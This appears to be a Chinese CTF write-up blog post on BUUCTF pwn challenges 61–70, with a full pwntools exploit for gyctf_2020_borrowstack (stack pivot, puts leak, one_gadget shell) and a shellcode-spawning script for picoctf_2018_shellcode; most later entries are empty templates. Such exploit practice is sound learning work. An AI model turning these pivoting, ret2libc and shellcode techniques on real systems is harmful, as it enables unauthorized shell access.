61~70

61.gyctf_2020_borrowstack

(1)分析

image-20240305215004896

main

image-20240305215648594

read漏洞,溢出0x10字节,无system,ret2libc

ret2libc大概需要0x20字节,不够,上面read了两次,中间接了一个puts函数,栈劫持标志

image-20240305221150359

bank在bss段,我们就将栈劫持到这里执行payload

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.buuoj.cn',29601)
elf=ELF('./61')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=0x400703
leave_ret=0x400699
ret=0x4004c9 #栈平衡会需要这个gadget凑数
bank=0x601080
main_addr=elf.sym['main']
padding=0x60 #偏移地址

#迁移到bank内

payload=b'a'*padding+p64(bank)+p64(leave_ret)
io.recvuntil(b'u want')
io.send(payload)

#leak puts

io.recvuntil(b'now!')
payload1=p64(ret)*20 #0x20为什么不行?
payload1+=p64(pop_rdi_ret)+p64(puts_got)
payload1+=p64(puts_plt)+p64(main_addr)

io.sendline(payload1)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))

#ret2libc
'''
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

libc=ELF('64libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))
payload2=b'a'*padding+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
'''
libc=ELF('64libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
one_gadget=libcbase+0xf1147
payload2=b'a'*(0x60+8)+p64(one_gadget)
io.sendline(payload2)
io.interactive()

总结:一开始我利用0x601080去做栈迁移,没有利用成功。看了其他师傅的wp后知道了,bank的地址距离got表特别近,我们构造rop的时候增高了栈帧,破坏了got表,因此我们在做栈迁移的时候要把地址相对的抬高些,以免在其又一次运行main函数时候,申请的临时变量的空间会覆盖到了我们的got表中。

image-20240305224044238

还有就是其他师傅的wp都是使用one_gadget来找libc的,好像libcsearcher和自带的libc不行,不知道为什么。

image-20240309154756679

62.ciscn_2019_s_9

手写shellcode

(1)分析

image-20240309155044854

main

image-20240309162537924

pwn

image-20240309162559546

溢出26字节

hint

image-20240309162650444

(2)payload

1

63.picoctf_2018_shellcode

(1)分析

image-20240309202040223

image-20240309213004329

反汇编不了,我们看看是怎么回事

image-20240309213054720

这里call了一个eax,导致出错,我们先nop掉,然后用快捷键p重新改写main函数(逆向的花指令)

main

image-20240310122210496

vuln

image-20240310122239214

很明显我们在a1这插入shellcode就行了

(2)payload

1
2
3
4
5
6
7
from pwn import *

context(os='linux',arch='i386',log_level='debug')
io=remote('node5.buuoj.cn',28842)

io.sendline(asm(shellcraft.sh()))
io.interactive()

64.hitcontraining_heapcreator

(1)分析

image-20240310123441397

(2)payload

1

65.

(1)分析

(2)payload

1

66.

(1)分析

(2)payload

1

67.

(1)分析

(2)payload

1

68.

(1)分析

(2)payload

1

69.

(1)分析

(2)payload

1

70.

(1)分析

(2)payload

1


61~70
http://example.com/2024/01/23/WP/BUUCTF/61-70/
作者
Jwj-Learning
发布于
2024年1月23日
许可协议